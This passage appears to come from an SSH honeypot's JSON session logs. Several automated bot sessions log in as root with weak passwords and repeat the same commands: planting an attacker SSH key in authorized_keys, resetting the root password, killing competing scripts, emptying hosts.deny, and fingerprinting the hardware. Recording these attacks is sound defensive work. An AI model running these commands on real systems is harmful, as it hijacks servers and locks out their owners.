sleep;"},{"seq":7,"at":"2026-08-27T13:54:48.809766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:54:49.039500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:54:50.555068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:54:50.901253+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:54:52.187719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:54:52.638040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:54:53.531036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:54:53.882288+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:54:55.970205+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:54:56.743216+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:54:58.354317+00:00","kind":"output","latency_ms":null,"data":" 13:54:58 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:54:58.699489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:55:00.643156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:55:01.123137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:55:01.973658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:55:03.015588+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:55:04.882134+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:04 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:55:05.330703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:55:06.454885+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:55:07.247391+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:55:08.468150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:55:09.063732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:55:10.616225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:55:11.383478+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:55:13.118014+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:55:13.595284+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:55:15.446679+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@root","method":"password","accepted":true,"tier":"other"}]} {"id":"417dfc62-0fd9-43c9-a4f8-92cd41f9e472","name":"brisk-wry-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":36774,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":839,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:51.857775+00:00","ended_at":"2026-08-27T13:52:54.106539+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2161,"events":[{"seq":1,"at":"2026-08-27T13:52:12.105208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:52:12.941393+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:52:19.545107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:52:20.429299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:52:21.265585+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZUKjkqecZaLE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:52:22.102073+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:52:22.522149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:52:22.954550+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:52:24.341957+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:52:25.192474+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:52:26.680214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:52:27.617207+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:52:29.762411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:52:30.614200+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:52:32.326476+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:52:33.310636+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:52:34.130062+00:00","kind":"output","latency_ms":null,"data":" 13:52:34 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:52:34.971600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:52:36.618804+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:52:37.452401+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:52:39.454474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:52:40.289655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:52:41.178012+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:41 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:52:42.013656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:52:44.050771+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:52:44.891156+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:52:47.046627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:52:47.883388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:52:49.242282+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:52:50.079519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:52:51.019132+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:52:51.858605+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:52:53.843218+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"0077","method":"password","accepted":true,"tier":"other"}]} {"id":"4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e","name":"plush-fickle-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":40842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":836,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:50:56.424213+00:00","ended_at":"2026-08-27T13:50:58.096000+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:50:27.757510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:50:28.593567+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:50:35.271654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:50:35.572247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:50:36.422544+00:00","kind":"input","latency_ms":null,"data":"echo \"root:gX0AepmkI9ya\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:50:37.259086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:50:38.105124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:50:38.573195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:50:39.410809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:50:40.228313+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:50:41.070921+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:50:41.975194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:50:42.810774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:50:43.508364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:50:44.344649+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:50:44.793087+00:00","kind":"output","latency_ms":null,"data":" 13:50:44 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:50:45.628241+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:50:46.322795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:50:47.157601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:50:47.722799+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:50:48.567094+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:50:49.199437+00:00","kind":"output","latency_ms":null,"data":"top - 13:50:49 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:50:50.038380+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:50:50.413521+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:50:51.250683+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:50:51.716627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:50:52.552697+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:50:52.959019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:50:53.793760+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:50:55.591162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:50:56.425204+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:50:57.825267+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"water123","method":"password","accepted":true,"tier":"other"}]} {"id":"512689b9-0866-4622-8b74-f092570cdfcd","name":"faded-nimble-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":60362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":339,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:19.683670+00:00","ended_at":"2026-08-27T13:49:21.107205+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:49:03.859531+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:49:04.196656+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:49:09.409625+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:49:09.410064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:49:09.750207+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bTmMCYzUCB6r\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:49:10.086965+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:49:10.423305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:49:10.423873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:49:10.760898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:49:11.281119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:49:11.619621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:49:12.178576+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:49:12.642717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:49:12.645116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:49:12.977793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:49:12.978294+00:00","kind":"output","latency_ms":null,"data":" 13:49:12 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:49:13.314738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:49:13.315240+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:13.776298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:13.778114+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:14.115316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:14.841245+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:14 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:15.232731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:16.048546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:16.384635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:16.690270+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:17.031856+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:17.674335+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:49:18.207591+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:19.095185+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:19.684415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:20.806392+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d","method":"password","accepted":true,"tier":"other"}]} {"id":"4f0679fd-0de7-4821-8a97-c666f6559bf6","name":"placid-smooth-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":833,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:13.006250+00:00","ended_at":"2026-08-27T13:47:14.698382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T13:46:45.741806+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:46:46.572764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:52.629373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:52.921692+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:53.758102+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KtYXBeqdOy6W\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:46:54.585499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:46:55.418123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:46:56.156605+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:46:56.988200+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:46:58.027498+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:46:58.873033+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:00.146329+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:00.984066+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:01.285932+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:02.120090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:02.488893+00:00","kind":"output","latency_ms":null,"data":" 13:47:02 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:03.320243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:03.573462+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:04.407245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:04.822712+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:05.656861+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:05.975918+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:05 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 